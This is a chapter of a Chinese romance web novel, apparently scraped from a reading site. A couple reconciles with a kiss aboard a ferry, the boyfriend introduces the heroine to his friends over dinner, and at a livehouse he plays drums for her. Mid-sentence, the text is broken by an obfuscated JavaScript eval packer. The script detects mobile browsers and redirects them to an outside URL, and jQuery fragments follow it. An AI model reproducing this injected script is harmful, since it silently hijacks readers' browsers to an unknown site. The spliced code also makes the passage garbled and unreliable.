第24章
陈清野眉眼压低,站在阳台门口很有压迫感。
岑舒贤把手指按在下唇上,有些犹豫:“嗯……有人给我电话。”
陈清野抬抬下巴:“你接呗。”
岑舒贤没动,眨了眨眼睛:“……一个缠着我的人而已,还是算了。”
她都表演得这么明显了。
陈清野显然不是傻子,唇角抻成一道直线,傲慢地挑了挑眉:“我替你接?”
岑舒贤微笑:“不好吧?”
陈清野紧盯着她。他的位置正面着阳光,半眯的黑眸明亮锋锐,像是要看穿她似的。
那头的魏彦峥没打通电话,又接连发来几条消息。
叮咚的提示音在寂静的阳台格外清晰。
没想到过了几秒,陈清野突然笑了。
他扯了扯唇角,长腿一跨,大马金刀地坐在一边的室外沙发上,手臂随意地搭着靠背,眉目间的锋锐骤然化成让人琢磨不透的羁散:“岑舒贤,你在试探我吗?”
她一脸无辜:“嗯?”
“复合第二天,就来测试我够不够大方吗?”他似笑非笑地看着她,“我真要管了,你是不是又要给我记一笔限制你自由的账啊?”
“……”
这次你是真想多了,哥。
陈清野学着她的样子,抚着唇思索:“难道跟你谈恋爱,得和所有异性断绝关系往来吗?”顿了一下,又说:“我们只是男女朋友,你别对我的人际关系占有欲太强。”
她以前说过的话,用他那副清懒散漫的嗓子复述出来,莫名有几分阴阳怪气的嘲讽意味。
岑舒贤是真没想到陈清野能引申出那么久以前的旧账。
她还在思考怎么应对这个诡异的走向的时候,陈清野又呵地轻笑了一声。
“所以,没事。我不吃醋,也不追究,我当什么也没发生过。”话虽说得轻巧,但岑舒贤却莫名感觉是陈清野从牙缝里挤出来的。
“……”
这真的不是岑舒贤想象中的发展。
她还在第一层,陈清野已经去大气层了。
计划一下子全被打乱。
海风轻轻地吹着,日光暖薰薰地照在身上,陈清野敞着腿,吊儿郎当地坐在沙发上,看上去很惬意。
过了一会儿,陈清野像招小狗地似的冲岑舒贤摆摆手:“过来。”
经过刚刚那一遭,她没什么警惕心,乖乖地走过去。
离陈清野还有半步的时候,他掐住了她的手腕,用力往自己的方向一拽。
她始料不及,朝他的方向倒过来。
按陈清野的预料,岑舒贤应该会结结实实地扑进他怀里。
但他们这对只谈过七天的情侣,显然对彼此的预测都有一些偏差。
陈清野视线从岑舒贤支在沙发边缘的膝盖上转了一圈:“还挺防备我。”他挑了挑眉,散漫的笑混进浪潮里,“不想让我管你那些小白脸,也不用这么急。”
岑舒贤也低头看向自己的膝盖。
很尴尬的位置,离陈清野的重要部位就差一点点距离。
“哪有。”
岑舒贤硬着头皮回,正要把膝盖放下来的时候,陈清野搭在沙发靠背的手移到了她的腰上。
在陷下去的腰窝那块,有一下没一下地拍着。
隔着毛衣,触感并不明显,只是距离和动作比起往常都过分暧昧了些。
她这次没急着挣脱,而是低头和陈清野对上视线。
小小的影子落在他清黑的眼瞳里。
他另一只手还攥着她的手腕,拇指按着她的脉搏,打着圈摩挲。
有种异样的感觉,但她说不清楚。
“乖一点。”陈清野倚着靠背,抬着下巴紧盯她的眼睛,气势摄人,唇角卷起那一点似有若无,“我把那个岛送给你。”
岑舒贤一下子瞪大了眼睛。
错愕的瞬间被陈清野抓住机会,放在她腰上的手用力一按。
她像蝴蝶一样跌下来,脸差点撞上后面的沙发靠背,因为腰被他掐住而顿在那里。
陈清野轻轻一提,岑舒贤就坐在了他腿上。
“轻得像只小鸟似的。”他低哑的笑,气息拂过她裸露的肩颈。
微凉的手指划过她的后颈,向上移动,像是细数一节节的脊柱。
然后,陈清野压住她的后脑勺,侧头,用力地吻了上来。
柔软的唇瓣被毫不留情地吮吸、含弄、撕咬。
腰上箍着的坚硬手臂一寸寸地收紧,几乎要将她揉碎在他的怀里。
岑舒贤的第一反应是,昨晚那个梦成真了。
只是片刻的分神,陈清野就似有察觉般报复性地咬了下她的唇侧。
她“嘶”一声,还没来得及说话,陈清野就找到了她齿关放松的机会,开始毫不客气地在她口腔里攻城略池。
岑舒贤的第二个反应。
陈清野吃完饭后竟然去刷完牙才过来。
绝对是有预谋的。
-
下船的时候,岑舒贤换上了一件高领毛衣,外面搭了一个棕色的毛呢短外套。
她抱着手臂坐在副驾驶,一声不吭。
此时正在排队等待下船,陈清野的手搭在方向盘上,睨了岑舒贤一眼。车辆停放区阴森的灯光照得她的小脸有些悒悒不乐的样子。
他还是第一次看到她这副隐隐散发怨气的样子,哂笑一声:“留印子了吗?我又没用力。”
陈清野这一提,岑舒贤就想起来他前面给她脖子上来的那一下。
她呵呵一笑:“你是属狗的么,陈清野?”
他一本正经地回:“我属龙。”
“你属狼。”
陈清野又笑了一声,没再反驳。
船舱的门打开,前方的车缓缓地动了起来,依次驶出了轮渡。
青市的冬夜也天黑得早,雪倒是停了,只是一团团的灰云仍铺在深蓝色的夜空中,低低地压下来。
“先跟我几个朋友一起吃顿饭。”刚开上柏油马路,陈清野开口说。
岑舒贤看过来,倒是没太意外。
毕竟陈清野第一次邀请她看比赛的时候就说过,想介绍她给他的几个哥们认识。
“一起比赛的,玩了很久,不用担心。”陈清野又补充。
“嗯。”她倒也不担心,毕竟多难缠多脑残的男人她都应付过,何况陈清野的朋友当着陈清野的面总不可能做得多过分。
贺樾在这时打进来车载电话,陈清野没戴耳机,直接公放接听了。
“你们下船了吗,野哥?”
陈清野应了声,贺樾开始跟他对今晚的安排。
岑舒贤听了一耳朵餐厅名字,应该又是米其林系的融合创意菜。
她拿出手机,趁这个时间回了几条消息。
先是祝小姗问她是否安全的。
【浮云卷】:放心吧,很安全。
【浮云卷】:回去的时候给你们带青市特产。
然后是魏彦峥的。
【浮云卷】:我有事情要忙,没办法及时回你/哭。
【浮云卷】:难得这周末不用训练,你正好出去玩玩吧。
她一下子给魏彦峥转发了一大堆种草帖。
【浮云卷】:这些我都没去过,你帮我试试哪个好。
【浮云卷】:下次一起去玩。
给魏彦峥画完饼之后,岑舒贤把手机收起来,心虚地瞅了陈清野一眼。
陈清野正在和贺樾商量着定菜单。
报了几个菜名之后,陈清野说:“加上这几个,我女朋友喜欢。”
“……呵呵。”贺樾皮笑肉不笑的声音从扬声器传出来。
岑舒贤忍不住想起下午时分,轮渡的阳台上。
那汹涌又猛烈的长吻。
湿咸的海风,唇舌间的薄荷香。
像是能从五感的各个角度烙印在记忆里。
在过往的恋爱里,她从没这样过。
她享受快餐式的恋情,只要外在条件过了她这关,就大可一试。不需要走心,亲昵是点到为止的例行公事,她总是若即若离,那些人偏偏更欲罢不能。她最享受的就是断崖式甩掉那些自以为很有魅力而游戏花丛的浪子,恶意地把他们的脸面踩在脚底下。
可陈清野完全是意外中的意外。
她觉得这种感觉不太好。
因为她对他有愧。
他没有罄竹难书的罪行,有张超群绝伦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144459|146668||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的脸,还对她好得过分,更可怕的是他似乎开始找到拿捏她的关窍。
思索着这些,岑舒贤到餐厅的时候情绪依旧不太好。
她和陈清野并肩走进包厢,他的朋友都已经就座,一齐朝门口看过来。
“这是我女朋友,岑舒贤。”陈清野跟所有人介绍。
岑舒贤觉得她那时候的笑容应该显得格外敷衍且浮于表面。
她其实对别人的情绪很敏锐。
所以她能感受到,陈清野的朋友在她刚走进包厢时的眼前一亮和热情欢迎,在陈清野陆续把他们介绍给她之后变成了客气的应付。
只是陈清野对她的态度一如既往,就像这里只有他毫无察觉一样。
菜陆续上来后,陈清野用小碟先为她单独分了餐:“等下,我女朋友晚上吃得少。”
分出来的是她晚餐时会吃的清淡素菜。
他的朋友笑着应和:“怪不得嫂子身材这么好,走进来的时候还以为是哪个明星呢。”
其实连明星都没几个敢在他们面前端这么高的架子。
分好餐的菜碟被放在岑舒贤面前,她干脆把自己当做隐形人,眼观鼻鼻观心,默默地吃菜。
陈清野也不会逼着她说话,席间和朋友有一搭没一搭地聊着,话题从头到尾都没拐到过她身上。
岑舒贤吃得不多,放下筷子也早,像只花瓶一样微微笑坐在那儿。
然后陈清野没一会儿也放下了筷子。
于是几乎一直在聊天的众人,没吃几嘴菜就这么都说自己吃好了。
陈清野拉开椅子,去一旁的衣架上位岑舒贤拿外套。
席上终于有人按捺不住,看看表笑着说:“没想到这个饭局结束得比我想象中早这么多。时间还早呢,别让嫂子觉得我们接待不周,去「Sand·Livehouse」坐坐呗?”
陈清野已经穿上自己那件灰色的长大衣,手臂上搭着她的毛呢外套走过来,目光像是在询问她。
她倒也不会这么直接地给他朋友甩脸子,弯了弯眼睛:“我都可以啊。哥哥,你怎么想?”
一声柔软婉转的“哥哥”,陈清野的视线凝了下,他几个朋友也忍不住对视一眼。
像是没想到陈清野最终喜欢的是这种类型。
“走吧。”陈清野眉眼里蕴着懒散的笑,把外套递给她。
等岑舒贤穿好后,又牵住她的手。
-
「Sand·Livehouse」是陈清野青市的哥们开的。
依旧是最高一档的装潢,全场禁烟,空气清新,氛围也很不错。
台上的摇滚歌手在圈内小有名气,一首一首地唱着,点燃下方舞池的观众。
他们坐在上面的一圈的卡座,岑舒贤靠着陈清野,没玩游戏,小口小口地喝着面前的鸡尾酒。
如果她在赌桌上大杀四方,估计陈清野的朋友会更怀疑陈清野的眼光。
只是陈清野好像不介意,原本抓着岑舒贤的手放在自己腿上,摇了几轮盅后一齐推到她面前:“你替我玩会儿。”
岑舒贤就像网上的那个表情包“我吗?”一样。她眨了眨眼睛:“你要去洗手间吗?”
陈清野没应声,也可能是被摇滚歌手的歌声盖下去了。
她看了片刻陈清野转身离去的背影。
然后回头抿唇笑笑:“要是玩得不好,别笑话我。”
岑舒贤跟他的朋友玩了几轮。
他的朋友都开始怀疑她是不是天赋异禀的时候,摇滚歌手的音乐突然停了。
对面的男生突然激动起来,瞪大眼睛,颤抖的手指向舞台的方向:“卧、卧槽!野哥!”
岑舒贤回过头。
穿过绚丽交错的射灯,人头攒动的舞池,她看到陈清野在架子鼓前坐下,深邃的五官在灯光下更加冲击式的立体。
什么都没说,就能引发人群的尖叫。
站在舞台中央的摇滚歌手替陈清野解释:“这位帅哥要送女朋友一首歌,哎,别失望嘛,虽然名草有主,但人家至少比我养眼得多……好了,我先下台了。”
音乐起的那一刹,陈清野抬起眼,隔着人海与岑舒贤对上视线。
然后,扯着唇角笑了一下。